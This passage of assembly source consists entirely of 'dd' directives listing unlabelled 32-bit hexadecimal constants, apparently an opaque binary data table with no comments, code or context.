dd 971EC012h, 5DA512D9h, 0F5807F65h, 58967836h, 0F11A4B2Ah
dd 0A0FD3775h, 3BD1725Dh, 0AA166345h, 4E36B8A2h, 41F892E9h
dd 0CE5C9902h, 0F8523B8Fh, 260520A1h, 4D205090h, 0EED0B70Fh
dd 0E66F4B25h, 6DEFA074h, 3A73BD29h, 48CF81C1h, 9778B2FCh
dd 0A1E7DB82h, 61BB85A7h, 4A0B7A95h, 0DFAEB2F3h, 0DD5E7C4Ch
dd 4B5C9FA0h, 603FCCB5h, 5A1EEEF6h, 0FD65B7B3h, 0D440B788h
dd 250B1646h, 9D62DE66h, 0BFA0EE5Fh, 0CB3B3C35h, 6C275CCAh
dd 0F8D850D3h, 9A5D97ACh, 0A1F168h, 1463486Bh, 0AA021FA4h
dd 6DBAD566h, 0D68B5E4Eh, 110A1646h, 3ECD3290h, 0BB750C4h
dd 5C90D5F5h, 68D0619h, 83F98D29h, 0F2FFE917h, 3287AAEh
dd 4945BF94h, 0C18BF916h, 38E46A20h, 2A898DF8h, 0E3FE1840h
dd 6D3B01DEh, 8BF5EF05h, 317561C6h, 0CED87F37h, 0E437006Fh
dd 0DC3315EBh, 0D23A8C1Ah, 2AC480A5h, 0E5087E4Eh, 80F9BD22h
dd 0CC6193A6h, 1DFC78A2h, 9DE00E7h, 0C4B1FE4Bh, 5A71CE69h
dd 73D29DA2h, 5A602438h, 67BC1BADh, 0FE125D97h, 15E1FCE6h
dd 522D950Fh, 21E876FDh, 0D566B7h, 2F28BCC6h, 0A07C26C8h
dd 5C64AC13h, 4E4FE88h, 63AE3C4Dh, 89AC81A2h, 6DC1E1Dh
dd 3E87DA80h, 8B601DBCh, 0F4EBC0h, 0D976C24Ch, 0E6F5CD66h
dd 3B92E400h, 0D15065EAh, 0D7ED0035h, 87789C58h, 2A011290h
dd 45179273h, 6631465Bh, 799C3630h, 5E7B0043h, 442B9EDAh
dd 0BE3CFE3Ch, 57D780CAh, 54C10662h, 3DA30089h, 0C7F6A291h
dd 8000E51Dh, 997322FBh, 5A2AAFh, 2CF2A09Ah, 4FEE0349h
dd 1C0EA139h, 0F78E4BEAh, 408AA0FCh, 1FB6D0h, 761677E4h
dd 24D4AE79h, 0B0B8FCF1h, 0FE58BE00h, 0AB6A9F9Eh, 80A303B7h
dd 1F2E20D0h, 73CC42F8h, 0A854C300h, 0DB5C4C06h, 0A0C50393h
dd 3ADA3627h, 0EE9500AFh, 0D760561Fh, 29199F10h, 0BFE1079Ah
dd 48888278h, 0EA18AB00h, 0C0B02F3h, 30A9E0Dh, 21C09008h
dd 0B2EA10CAh, 0F3CE0795h, 0EE9CB11Dh, 2D3B3100h, 140C0E61h
dd 318DAD19h, 0EDD0E78Bh, 11C26063h, 0D05D72DFh, 0BE754803h
dd 306D408Fh, 221DC08h, 5E2E5D7Ah, 74006F04h, 0D467C738h
dd 59260634h, 283DA84Bh, 742BF58h, 967F4C75h, 6A6FD2B0h
dd 481F00F3h, 25983DD1h, 12062023h, 0E7BA4FD6h, 79F0C8F8h
dd 0F2EA17C0h, 22034602h
dd 0FCB0097h, 99256FEAh, 0AB008DF5h, 74083A2Ah, 50B7A054h
dd 2857B498h, 0A30F08Ah, 0CC222FD6h, 0C27F80BCh, 83F1D08Eh
dd 35E2A300h, 72B442E8h, 3DDA00BFh, 0F2FCD39Dh, 127EC1F6h
dd 807C6000h, 27041965h, 0D8F07D5h, 0B21B5B8Ah, 54E0B232h
dd 6000F415h, 0CEA3DD48h, 0B3F0C9h, 3A5DECA9h, 1826AA5Eh
dd 7500B574h, 0B2CB9420h, 0CD63B81h, 0EE332499h, 21C0A708h
dd 1FB2F371h, 0FD40007h, 412CA0D7h, 680062ACh, 0BC5BBEBAh
dd 703B2EEAh, 0A54D0039h, 4104F5A0h, 0F9009F1Eh, 355D492Fh
dd 44BAB2h, 0E025B420h, 77BFA587h, 8385F180h, 0ABB47103h
dd 4955708h, 69074520h, 0E81E1F6Ah, 0BD18A798h, 0C451442Fh
dd 1F217506h, 107005h, 0C01DB527h, 5EF46207h, 8C12B400h
dd 11F95143h, 0EAF812ABh, 154B00B5h, 4531DCDBh, 8C355700h
dd 808139F1h, 6D951FB3h, 0E299C09Ch, 0EC3F2944h, 40CE7200h
dd 41F5BE4Fh, 426601FCh, 0DF095B85h, 0CF38D447h, 0CCE1120Fh
dd 0CD53C0A4h, 6D9D7Fh, 18BC99B4h, 0DD476710h, 8063963Fh
dd 0E266EFADh, 98BF9CE1h, 32F90067h, 917FED44h, 8C00DCE0h
dd 0D7A5B0D4h, 789B47Bh, 0D9027D24h, 4906D001h, 72007842h
dd 91EBDEBBh, 11E949Fh, 0BCF4EEF5h, 0F0B6D452h, 9AE83BEAh
dd 0D100F27Eh, 0C2B5595Dh, 66BDF6BEh, 212208CAh, 5DD9FD00h
dd 0CE51705Ch, 0F75F0119h, 15B316BDh, 8C2BC83Bh, 0BEB2250Fh
dd 81772045h, 7B0EDh, 90FB638h, 2E1B75BBh, 669A28C0h, 38EDC625h
dd 9D807E8Fh, 23B63EF6h, 8500C175h, 15B1F4ADh, 129A917h
dd 0E3C7998Ch, 0C5BD1DDEh, 3E2081E2h, 0EB42B13Ah, 611204Fh
dd 0A9209894h, 8F5580EAh, 0A53ED8C0h, 39E40D1h, 0B3925E68h
dd 0E9E00476h, 20C09DAEh, 7B5DBAB6h, 6E2303D5h, 361B8A1Ah
dd 21B30832h, 88F661DFh, 64C87C8h, 0B254A0ECh, 0ED46485Eh
dd 0D17B5902h, 0B2314E23h, 7B41DB10h, 37176B03h, 0F2A958CFh
dd 2FC0A132h, 2985A00Ah, 40E5BD23h, 0A98A9684h, 88E90876h
dd 8DAE0229h, 0F0080383h, 0EC00F492h, 0C88EBE88h, 562EDB3h
dd 8C9F8602h, 99AC043Ch, 1E874398h, 0A739050Eh, 40A2A108h
dd 0E6E91AB0h, 0BC78307Bh, 0F09AEF12h, 0C0EC2408h, 0B5585DD0h
dd 2722DA46h, 5DD8FC01h, 8849CCEDh, 48B5B1ECh, 50014AEh
dd 9CCE0E1Fh, 0CDF889A0h, 0B718CF60h, 30818F6Ah, 7010BD91h
dd 0C0F00660h, 8CB21F28h, 0B8024945h, 7B5330E7h, 7E23D711h
dd 0E180B088h, 0C5077B5Bh, 9D8079Fh, 47709464h, 9510CCD2h
dd 0CDB90312h, 3782145Dh, 879B2B71h, 9E91BDF0h, 98473CF0h
dd 0EA8C802Ah, 0CDE92Dh, 0D3D25389h, 1ADDA1DBh, 5ED1DF1Fh
dd 5C7C4D40h, 30570336h, 59500D8Dh, 69C08056h, 12F416C2h
dd 7111008Bh, 8F52D9ADh, 9E50A5A1h, 0F0E1D080h, 0FA641206h
dd 0D640E6A0h, 0E399A525h, 36DDE4A0h, 56F01202h, 0A81C1F87h
dd 3508ACE8h, 1B2C07C4h, 458C4F7Ah, 0B08B8248h, 6814E992h
dd 384108Bh, 74E2B77Bh, 0CC3DF1C0h, 0B585250Ch, 7BD86884h
dd 0B1C90270h, 2862A60Dh, 0D9BD0460h, 3F05C492h, 3C77A946h
dd 0B1B38C45h, 0F076DC21h, 5552EC00h, 92818560h, 17115E1h
dd 683021EAh, 0E4560160h, 0FB011B7Ch, 2C6348D5h, 3AE0D1DDh
dd 9CF502D8h, 0DF0D2FF0h, 0F40B7C45h, 72C1006Ch, 74DDCA39h
dd 0A4260556h, 4150DCFCh, 53D72C80h, 0A3E443C4h, 3E68A903h
dd 0F782DCh, 4BE01249h, 0EACA89F8h, 0FA719E19h, 21801908h
dd 384BE834h, 592E0D06h, 57094EA4h, 0FE140169h, 0A0925236h
dd 0EB543228h, 117B5F30h, 885E23D3h, 47DD80B7h, 0EF87A47Bh
dd 0D27FC205h, 0E4806EF4h, 5021B18Fh, 0B001E8A6h, 28394853h
dd 88C67205h, 0DBEC0882h, 0E01CF8A0h, 923DAA45h, 24099679h
dd 0C8C888C6h, 71D80D0Ch, 0BE0318F0h, 5987398Bh, 0A1E5C10Ah
dd 6CA4D8BAh, 3AB44674h, 8CB5836Ch, 0A862DDA6h, 0B0104B05h
dd 9D230908h, 1800EB01h, 0F19BB680h, 9A20C005h, 44005644h
dd 0E0B7F896h, 160E0601h, 8DE093Ah, 0CC219562h, 5C5440F0h
dd 9CE33076h, 0C8827252h, 0ED209898h, 0F854ACEEh, 152D438Dh
dd 0E80A83h, 5B7ED6Ch, 12A37282h, 47E75F7h, 103D7710h
dd 700A7CECh, 0B4FEBE3Ch, 0B8643691h, 0B7F46040h, 0EE0121E4h
dd 0B7ECC8C0h, 200D3FCBh, 5083B13h, 2F824Ah, 1A5BF0D4h
dd 0A9FA397Ah, 0A4F17524h, 0E77D1582h, 20A08CF4h, 4DB5837h
dd 4889F010h, 0F38C76CCh, 4DB5E060h, 2688CC3Ah, 5DDCF880h
dd 1EBC7FACh, 0F056C412h, 86F96CA1h, 0BE6F2C13h, 5CA1BB00h
dd 3B60FA94h, 449EA237h, 36EFC178h, 20E32890h, 0AF323A34h
dd 2C54B08Dh, 48CF190h, 0B5535DD7h, 202A6232h, 0E85DDFF7h
dd 89985530h, 2E735782h, 389F28h, 8461E1D7h, 3A0F9EC1h
dd 0D2BCA1EAh, 28C7C04h, 64C8650Ah, 0B7B06742h, 8CDE01E6h
dd 0F69344h, 75DBB7EAh, 53C83CD6h, 56116E0Ch, 7DD42183h
dd 542800CEh, 5F1B52C4h, 0A0900214h, 8020A045h, 0E5F840F5h
dd 3310B49Ah, 292ABFB7h, 247464Ch, 1E3B7F5h, 119C31F6h
dd 20BAEDCBh, 0E4E9470Ah, 27467EACh, 76310772h, 74A9F19Dh
dd 0A120C2ABh, 0F7011CE4h, 0C441190Fh, 5D07A81h, 8AAD00E8h
dd 0CF6FFF1Eh, 25188598h, 9A315214h, 218118F7h, 270348A4h
dd 4434A926h, 7908E90Ch, 1B75120Dh, 525802F5h, 0B4673EF1h
dd 0D86018C4h, 0CD0095D0h, 1C45F65h, 9A0F7D37h, 2355037Ch
dd 4EB354EAh, 421AF6A9h, 0F33041B4h, 1E511B7h, 809D88E6h
dd 24B7EBC9h, 0BD092731h, 87B2C89Ch, 4AC3051Ch, 17C00026h
dd 0F7112CE9h, 8EFD85B9h, 0A069E3F8h, 0BCB8855h, 1D4E3A6Eh
dd 0FC13A87h, 897DD1E4h, 27408335h, 0CED08Dh, 1D471358h
dd 3EBB39E9h, 0E8DC5A48h, 0B8098C27h, 43CAFCDh, 7C408830h
dd 8362A12Ch, 0BA315A7Ch, 0ECDC1926h, 41BCB0E1h, 8DF3D101h
dd 0A9E90589h, 9DD198C8h, 0D9012418h, 6B911853h, 6044BAF0h
dd 94A3F483h, 0E0D49906h, 0D302ED46h, 0D2B55F5Dh, 0FB102131h
dd 48F45DDBh, 0FE008B75h, 0D9B0B1AAh, 0FA2F0192h, 8FFCA019h
dd 0B99130A9h, 8E53F6C0h, 0EDAD71Fh, 12C7E0Fh, 8D368728h
dd 3075BBDCh, 9A9004BFh, 0B0C3565h, 48127157h, 91CA00F2h
dd 76B347EAh, 3A5DF752h, 9DB9089Ch, 370503CBh, 0A0C095D6h
dd 0D3036BF3h, 98177F2h, 0B62002C6h, 0DBEE1B0Eh, 7523209Eh
dd 7F540198h, 0D471495Bh, 39006101h, 0FA8D09E5h, 0C0EAA26Dh
dd 0DDC825C9h, 5D092705h, 4A09EF4h, 0E560D9A0h, 8923F34Bh
dd 1E11F2h, 934BED31h, 3367E8h, 0A108367Ch, 75B189E4h
dd 98A0B56Ah, 19F4674h, 0C97582Ah, 19808455h, 57FA4556h
dd 65E877BBh, 93F06400h, 0CBB3B681h, 0B25533B9h, 309E5270h
dd 1FDDE4A0h, 41207683h, 35448CAh, 0E5DA7466h, 0D110B119h
dd 25A1890h, 8C6F0B3Ch, 0E4C0E0ECh, 0E60E7143h, 52231D3Fh
dd 70080C16h, 7B5CC0E8h, 665C23D4h, 44E0E0D0h, 3CE037Bh
dd 0C9551668h, 0D06A31B8h, 2FB7D0A0h, 5492A978h, 8EA37E00h
dd 0BC504277h, 59C70008h, 131E9720h, 0CB010304h, 0FF55D951h
dd 76C93D18h, 0F94A70h, 13623036h, 0A1E18BD3h, 1CFDEE00h
dd 6A58838Dh, 0F07C0042h, 14375728h, 9D00E1EAh, 0DB1C71B8h
dd 3E296ABDh, 0B09F7C83h, 232EC0FBh, 0C0A34711h, 2F003CE2h
dd 84A0B768h, 2CDCB4h, 176993F9h, 154989ADh, 0C35D4600h
dd 0EA635053h
dd 76D00012h, 403E5BDEh, 0F8009775h, 0B569A5D4h, 94FAABh
dd 85CB4FA3h, 7019F915h, 6E555B24h, 98DB7300h, 0EDAFA37h
dd 265FACC0h, 0C06154C4h, 2C93A091h, 5510E101h, 25433AB3h
dd 48E015D1h, 7D6E82Ah, 650692A8h, 4CFD0027h, 94068488h
dd 7AAD811h, 924E0318h, 0FC59145h, 0E04AF5E1h, 0C0783823h
dd 46D0950Ch, 18B32808h, 612C9718h, 660036A0h, 0C5B52DAAh
dd 1490A8EFh, 0E92778DBh, 0C607B358h, 3CFC1604h, 29322530h
dd 10A02812h, 200979Ah, 75160D09h, 606782BCh, 0E56D782Ah
dd 5B6891CCh, 7D631CD1h, 50191842h, 5B1BC075h, 0A0640FFEh
dd 11216498h, 80A1E2B8h, 0A16C5130h, 11515C21h, 0C9C0610h
dd 0C300747Bh, 1D3E9AA6h, 60AAE545h, 0D5B32013h, 0FC00A5A9h
dd 0A6A86115h, 10E1168h, 90ED5EE0h, 874A7ECBh, 49F345B1h
dd 0E3FB630Fh, 35F819Ch, 3172D2D0h, 7E511B78h, 19318115h
dd 1E940D02h, 90CCF0h, 68BC0E04h, 0CD8B22BDh, 0C83245B8h
dd 208D7855h, 6BBE5648h, 2BCE1C05h, 0A004B7E3h, 4E4192D0h
dd 4061669Ah, 0E058D898h, 3AF82F00h, 230B568Ch, 201000E2h
dd 145030DDh, 9230CC5Ch, 0D8EF7902h, 24D950C5h, 0DE4D8847h
dd 177E301Eh, 987D8B8Eh, 0F13EC1h, 9CAE5A84h, 32651636h
dd 61CEB505h, 0B05CB7A3h, 580BACC7h, 706556D1h, 0D88A38BEh
dd 0EDC343Eh, 50580679h, 1C4908C5h, 0BC401C40h, 7DFB4680h
dd 9AB33FCh, 398BA24Ah, 6ABE2000h, 0DD001648h, 892F327Ch
dd 0A037ABA4h, 149CF4A2h, 0F4DCC0DFh, 5E73007Ch, 180AC22Ah
dd 61C127EBh, 40B67E9Ah, 3A96B09Ch, 527F03F9h, 753A5E9Ch
dd 61C51806h, 2C9B1A4h, 24E14B48h, 0E4A712AAh, 0E4800968h
dd 0FBFC93F7h, 89535212h, 2B6FB004h, 0E7E40C1Fh, 0AA114819h
dd 0FB1A3227h, 0C00559B2h, 0EDA84364h, 6E5E6D0h, 6935AA8Ch
dd 0E4004274h, 0F87EE7AFh, 12C54DD1h, 0ECAA09h, 3AA7BC08h
dd 8F02F321h, 155169BEh, 33660A4h, 88A20033h, 0F395C13Bh
dd 23078683h, 9C3A96C6h, 0DBF0E9h, 0D74309DAh, 4AD8F6DFh
dd 4208A500h, 0CDEFE228h, 3DB797Bh, 0C3724745h, 4878DFDCh
dd 0F7B3081Bh, 0F271F920h, 303E609Eh, 39B27869h, 0F489800h
dd 0D39D17A5h, 0FB0F6A7h, 45545AAAh, 7B067A60h, 0D107E343h
dd 9C5B158Ch, 0A9EA3B20h, 8E40C33h, 4551D31Ah, 0F9B71818h
dd 23D7270h, 0F898018Dh, 0DA007A63h, 3A3FC40Dh, 4C18D789h
dd 0F618C643h, 846241C6h, 4E53F29h, 152DA980h, 6CE25A99h
dd 7BCE4A00h, 0D1C758E7h, 77620774h, 31850CB5h, 209754FEh
dd 0B36FDB4Dh, 5F90A480h, 68205A80h, 5802606Ch, 0B7410F95h
dd 0B00A6FEh, 0ABC11277h, 42995Bh, 0DABEF0C0h, 78105D72h
dd 700087EAh, 0E98A4084h, 216E759h, 89642CEBh, 0EEE0C023h
dd 0CB75F052h, 12338B00h, 0FA781103h, 7F2300FDh, 983197DAh
dd 4700E860h, 0A29262EEh, 74D5A5h, 3682FD4Dh, 2A5D6D76h
dd 48C0FAB0h, 0E3242311h, 0F4511893h, 6FA28897h, 2D2EC505h
dd 94C0B9A7h, 72E7ADD8h, 6E8A03ECh, 0E8D9D49Ah, 0F4C29011h
dd 3AE6560Eh, 2AC7D120h, 1A00F933h, 3CDA75FFh, 0C0F2C142h
dd 0ADDE10A0h, 0CE06CCE1h, 0F1F6C25Dh, 2B20C040h, 12709737h
dd 308C011Ch, 0C5EF4C80h, 609D44E5h, 12714178h, 0A0F01E6Bh
dd 1A4FBE07h, 0F23037Fh, 0A4408D5Bh, 37F1CF5Eh, 0FE260046h
dd 7FC7E4C4h, 0A73A47D7h, 0FA486073h, 23C5Fh, 84D8D48Fh
dd 0CB726F18h, 0B801D5E8h, 0C4E98747h, 0C0609FCFh, 0E8C9F65Ch
dd 2019605Eh, 9AE98F1Dh, 30F92B00h, 0B0CBB7D8h, 0CE2A3983h
dd 8A87C580h, 936E42B8h, 2E328900h, 4A2B2031h, 1F7D0Bh
dd 0B052CDE7h, 9CA35C4Bh, 0D5406D7Eh, 0F800E9B5h, 0E66DD6F7h
dd 0DE002290h, 78D4D13h, 965B9D84h, 52C3614Eh, 8850E183h
dd 38DD6230h, 37FADB87h, 149C09Fh, 520EAC5Ch, 402A8A61h
dd 21E5C0BCh, 0B3AD0025h, 0E6F22BB4h, 0F3A3E49Fh, 83984000h
dd 92D20B59h, 2D290EB4h, 828CB60Ah, 9B00E191h, 50629959h
dd 0C8F7BA2h, 52E4F8B5h, 0A700F641h, 2A50409h, 18D3BC96h
dd 90F57ABBh, 0EAA0FF72h, 6A02A91Bh, 2FEB9658h, 559C8057h
dd 36039064h, 0A8102BFEh, 292AB1FEh, 41A0BC5Ch, 4003E39Fh
dd 0C12C2512h, 76180C13h, 182022AAh, 3241AC00h, 4AADEA9Eh
dd 0F4970A58h, 40708EE6h, 0D21659B4h, 91229A46h, 59ACEA01h
dd 1DE4C938h, 0ECEFE3D8h, 0DC5220A0h, 7BA8CE07h, 0FF5557h
dd 0F09EAA77h, 0F581C029h, 17F89DDBh, 19C7395Ch, 2708EEACh
dd 0D1622180h, 1C01CE9Dh, 0CB883813h, 0AB89571Ch, 0EB040098h
dd 3E0EEA3h, 0F70FAC19h, 3800AA86h, 4AC1DB2Ah, 1F99F85h
dd 673C705Bh, 0D8F1C222h, 6B00A98Ch, 55E99951h, 2A5E05Dh
dd 25970A15h, 94A1C521h, 26701885h, 0E97C0274h, 31A7CFC7h
dd 85101042h, 0F26D00E9h, 247D89Dh, 0A909C711h, 6542F9h
dd 0DE2C773Ch, 0D01554EEh, 6C0B0038h, 8110AB86h, 603A93CAh
dd 21BC308Eh, 6C13EAh, 0AC7E1BD0h, 604E01F3h, 97F6CC18h
dd 0FA69E9h, 8F675E2Eh, 0B37C5B19h, 22504B12h, 0B461200Ah
dd 32D9BCA1h, 5E040218h, 7F126452h, 30850C82h, 35085989h
dd 64B562D2h, 0A1E34084h, 0B76B59h, 0C8A0D198h, 0CB47D2CDh
dd 13212098h, 0E9738175h, 18BFCFD8h, 9A91885Bh, 0CDE5E90Eh
dd 0E067E0E2h, 13AED48Dh, 38542F8h, 3E5D2B61h, 0FF1F4F90h
dd 0CC904B14h, 0FAB60080h, 0DC1A056Bh, 3776A3h, 0EBD061A9h
dd 7AF9B310h, 5F68B000h, 7857B82Bh, 5258C088h, 5173A902h
dd 55402E01h, 0FFB0EE9Ch, 8402BC25h, 59B53089h, 82D21112h
dd 7EF9038h, 0A55859ADh, 5599A06Eh, 2F6192A9h, 73E996A0h
dd 7BE906DBh, 393FEFDCh, 43DC482h, 2B027506h, 3D450010h
dd 35408676h, 3000D6A6h, 3E84744Fh, 3053B74Ah, 2F20472Eh
dd 0C200802Bh, 0F428FDE2h, 788E54F0h, 0B3FC0017h, 1F52EECEh
dd 0E400D746h, 1D5E7083h, 1CA963A3h, 0C057CBA7h, 0D72B056Dh
dd 0AC00354Dh, 943C32C0h, 8C9DA5h, 0A32FB758h, 1619D32Bh
dd 0C93A7B00h, 9CE71BA6h, 8B07003Ch, 6BB08821h, 3300140Bh
dd 0F6C677FDh, 0E63EFEh, 0C28A6D07h, 7611B806h, 3685A00h
dd 23699855h, 50BF3CABh, 0A32B3100h, 89EDEE44h, 7BAC0813h
dd 9BC4A03h, 35BAD149h, 0C025DAFFh, 219A9Dh, 0FCE8E7D8h
dd 412724A1h, 471D040Fh, 954FC04Ah, 8B8468h, 0F4F0BC6Ah
dd 0C6BB3C3Dh, 0C91A1803h, 0C08DA602h, 7D1767h, 5F7410ADh
dd 49CBFEB1h, 472A570Fh, 110B60E8h, 3A415DDh, 4A9A4B14h
dd 65B0C8EEh, 61E4BD60h, 2218FC00h, 5EA93BECh, 8F7D0016h
dd 155A47CAh, 0DE0AAB3Ah, 0F09E434Eh, 0A75C688Eh, 5E80F886h
dd 0A9DC0Ch, 4AFD3A39h, 0C3C971D2h, 0C499A61Ch, 1D745E80h
dd 143D70BEh, 0A4EC90DCh, 0AEF88809h, 8118C90Ah, 7A74CCD2h
dd 55A08058h, 0F0CEB407h, 67A000FEh, 4AEEF399h, 0DC0118B6h
dd 338064E8h, 92C0854Eh, 820503CFh, 0DA16D397h, 8766D8D0h
dd 0B1E12D26h, 0EA3AEB00h, 4A0F9Bh, 75D2FC99h, 0E30209A6h
dd 3D11D800h, 3B543EE8h, 0E5E00078h, 0BA246D39h, 513A20FDh
dd 7DBD128Bh, 601A080Eh, 0CD2CFCFAh, 0AD060389h, 0B8A9FEF2h
dd 1A21E016h, 7100E854h, 1B55C206h, 6F073A1h, 401DDFDEh
dd 8500E064h, 0B07212F2h, 3A6B826Ah, 9C00863Eh, 6ED65721h
dd 70006450h, 0D270956h
dd 0E139A4Ch, 0F492A68Bh, 0F9F1A7h, 4AC5B391h, 940301E4h
dd 0E911C002h, 0A17DA08Bh, 4868C378h, 0B6DA4A12h, 49333C40h
dd 7156E103h, 0D73FB752h, 1B4C63D0h, 0F8DD0025h, 5F54A619h
dd 8C286E0Dh, 0D677CC2Ch, 0A7F5E00h, 529D874Dh, 0A141001Ch
dd 0B8AD70BAh, 0B2E66F99h, 8494213Dh, 7F67642Fh, 4FBF0080h
dd 8CA300A7h, 0A3156DBh, 58E84176h, 59BA2807h, 0A1901A8Bh
dd 2B1DE8h, 2E807447h, 68F38DC0h, 4A3C3300h, 75B70984h
dd 4ED8132Bh, 0EE3020DDh, 68788C5Ah, 0F697E300h, 0D11E5BAEh
dd 0FB7D9Eh, 0DBD27407h, 4E64DFB4h, 6B110800h, 34ABE2CCh
dd 6F3D00BEh, 0A03F9375h, 9CB820BBh, 0DF001490h, 0F658374Ch
dd 0E0CE897Bh, 3D18C099h, 0DA1A8C52h, 0EF027078h, 498F29CCh
dd 0ACD54183h, 0B0BD9920h, 0E2D4608Eh, 0DE4FFA3Ah, 4DA2280Fh
dd 98C58062h, 0AE0E7Dh, 0CB02209h, 0BCAAC1FEh, 861FDAF8h
dd 0D4C052B9h, 15A711E5h, 0D3E10264h, 635CF26Ch, 700FD7E0h
dd 0D7C7B800h, 0FC938F53h, 4D990F5Bh, 224F6B42h, 2798E800h
dd 3D019AB3h, 0E6869665h, 0F6F0C81Fh, 1B8F0506h, 898C59h
dd 634099A1h, 9200F173h, 0AC9B7C86h, 3E21B083h, 480E11CCh
dd 4CE9932h, 0A20D1C00h, 0EF061667h, 29B2286Bh, 2D0A30A8h
dd 7257252Ah, 0C2F18701h, 0AB70CCECh, 6ADAD440h, 0FB883909h
dd 0F5E84680h, 0F277A24Dh, 8670C800h, 0CF9E3325h, 0F9FF0195h
dd 0FC3A14C5h, 42E6F0AEh, 8DA95004h, 508067E3h, 3C5B7D2h
dd 0E44C11Fh, 0E0034775h, 3F17987Bh, 77900399h, 0F1D9C7B5h
dd 0D09429F0h, 32D49003h, 0E8458173h, 5051B6h, 0DACC2855h
dd 22C4589Eh, 474A949h, 0A24FDF3Eh, 63ECF281h, 0CC89A0EFh
dd 30C49834h, 0F53CC695h, 5AFADF9Eh, 25055600h, 23723A91h
dd 0D99604CAh, 808E6D06h, 5897AF5h, 8F975801h, 0F93254C2h
dd 0A08D1EE0h, 7EEAC0h, 0DA956C51h, 0DE6656D1h, 0E284D414h
dd 930500D8h, 82BC3311h, 390F00A0h, 0F3C6BE94h, 4E00719Dh
dd 6F6C9E73h, 1D6E58D3h, 401A4AA8h, 74018223h, 48020E2Ah
dd 0B0EF2860h, 0E2450F7h, 12EAB983h, 0BA5A2E3h, 9E1DC5E0h
dd 98180A24h, 57C62204h, 0ECD96CC1h, 0EE11F3ECh, 0AF1F3B08h
dd 0F8372000h, 0AB0E0287h, 9093D900h, 0FEDA8955h, 26920077h
dd 0F450C5E9h, 11383B8Eh, 0FC9A001Ah, 45283927h, 5D650064h
dd 0ACD937FEh, 0B10033DDh, 14DA8055h, 13683Dh, 9D1E57E4h
dd 0BA37F1Fh, 25936D1Dh, 20AF3EC0h, 813FC4h, 0B3F55D97h
dd 9A7B9B7Dh, 51DA072Ch, 2780681Dh, 961A3F59h, 0A5D42475h
dd 648F386Bh, 41E08BC9h, 1D5D12B5h, 61C78A07h, 0BAF0FE94h
dd 0BDA84Bh, 80FC6CE9h, 685CB2Ah, 0AA4C1E00h, 0B0678754h
dd 1D437879h, 805286A9h, 63D25E02h, 0B09855B3h, 0BC285A00h
dd 0B45BBF92h, 0F060002Fh, 0ADE9DD7Fh, 0AA01B90Fh, 925703BAh
dd 6530C6B6h, 3EA370FAh, 67803F65h, 8528E046h, 0E9774C48h
dd 64F2621Eh, 0BB811780h, 904D758h, 8083FBCCh, 7FFC580h
dd 0E500B440h, 0DABDB261h, 17763BE2h, 6021FEh, 4302207Ah
dd 65007924h, 7B9F38F9h, 242DE64h, 66B8BB14h, 0D48061B2h
dd 0FE70BFB0h, 8639EF00h, 882276A5h, 0C2F70192h, 1BB10EF6h
dd 118E3015h, 0E12C6F00h, 0B8B3DE63h, 0A8D60079h, 1E08678Ch
dd 9D09D388h, 80F713A9h, 0C3440EDFh, 74B32518h, 0A18FB020h
dd 30FF677Fh, 9003C64h, 71A488A3h, 3A7E79h, 5989AA06h
dd 2BDE1E9Ah, 0E9499C07h, 3C275639h, 4A68F5D0h, 0B5520066h
dd 0AB9B8A30h, 0BF00DBE3h, 27B16F2Ah, 1E768F98h, 0F864129h
dd 4009E35h, 2B608483h, 0EA0A172Ch, 981C09h, 0FBE6FC7Eh
dd 863800ABh, 95D077A9h, 82018CD8h, 5D43179Ah, 5039206Bh
dd 0C9D04818h, 0C90EFFCEh, 8ED7CFC4h, 9F7982DAh, 5C10826Ch
dd 0A21C80F7h, 3A7D2A9Eh, 98389117h, 0B860AEACh, 5DB4CA80h
dd 3941926Fh, 0F5AFA100h, 50E5BCA8h, 0ED17414h, 8A2FC9DFh
dd 0E3D37040h, 487C1780h, 0D984A100h, 8CD01D83h, 0E0990CB4h
dd 0D190F2AEh, 9F0ACF08h, 3254646Fh, 0B4F700B6h, 0D5002644h
dd 5F314907h, 0FD142E5h, 9F2B2487h, 79CCC940h, 0C0EE1F74h
dd 90AD8300h, 42F08C18h, 10AA03D2h, 1B1D6FF9h, 0FCC1B1B0h
dd 24B08600h, 3E7E139Bh, 0F82DEACFh, 0B4870046h, 0FFDEB512h
dd 41002077h, 633305BEh, 3C0A6Ch, 49345AAEh, 8D2CF86h
dd 38F03203h, 83A8B59Ah, 30BEB894h, 374A3AE6h, 0E93ED701h
dd 0E841691Dh, 9F0F147Ah, 0A0A534FBh, 397697CBh, 760E0B6h
dd 8F38A3A2h, 0B423A073h, 0CE00A418h, 2572BB56h, 6BF063h
dd 0CAA5CF61h, 0B48D30Fh, 49CE6000h, 25B63A59h, 6E643FFFh
dd 1DD4F612h, 0A9DDC0EDh, 851423F9h, 0D111A49Ch, 896C0880h
dd 8718ABh, 0E6D70EFh, 0D700207Eh, 185D6F1Ch, 734DEBh
dd 83CE77CBh, 0D152F3D3h, 0DA619F64h, 826D6760h, 8E70AB10h
dd 6D6FDEB0h, 5D1D5201h, 0AF721462h, 1850A770h, 60744603h
dd 0C907096h, 0A42EF24Eh, 22009E23h, 0A01E9042h, 504560EBh
dd 0DC9AD161h, 0F890B0D3h, 0A4D32C76h, 6C0A045Ch, 62A8AB87h
dd 72602EC6h, 0F673186Dh, 0A4583303h, 1AE3558Bh, 682EFB12h
dd 9C79FC59h, 0F9FAF218h, 85691060h, 112A02h, 0E9D86C69h
dd 6D86175Ah, 0AA772B09h, 3F4CE6ACh, 171F9DC5h, 0C891E169h
dd 9DDB6C00h, 45491620h, 0B452E302h, 0D1AD9C69h, 6CD9F7Ch
dd 761892A3h, 3EC2AE12h, 0E153D400h, 9BE2BEh, 866273DBh
dd 70AFCDC5h, 7E004175h, 0BF47B534h, 7884B7E6h, 40F400FAh
dd 562D3CAFh, 2400D652h, 0EF90681Fh, 0BA5A4Dh, 0C4F4E58Ch
dd 168A92B4h, 3E00D0F2h, 0CD6D9118h, 0E05834h, 47B21DC6h
dd 0CE3C9CCBh, 17F6101Eh, 59B07C00h, 0FE9CD12h, 0F58AAE2Dh
dd 2465BC80h, 0D30E7BA9h, 8F42614Fh, 0D0A5003Ah, 6DC91FAh
dd 0C4AD0F01h, 0E9670819h, 0E5500421h, 0C0D4FA28h, 86894510h
dd 0CA1F24E2h, 4FC7AA22h, 0C0811043h, 56F899CCh, 3181D8B9h
dd 0CCE9B8D3h, 11C325EDh, 7828B1Ah, 0D7B9FDB8h, 2D08ECBFh
dd 936021C0h, 25C882h, 0EBE45785h, 0E8837B44h, 0D24AF401h
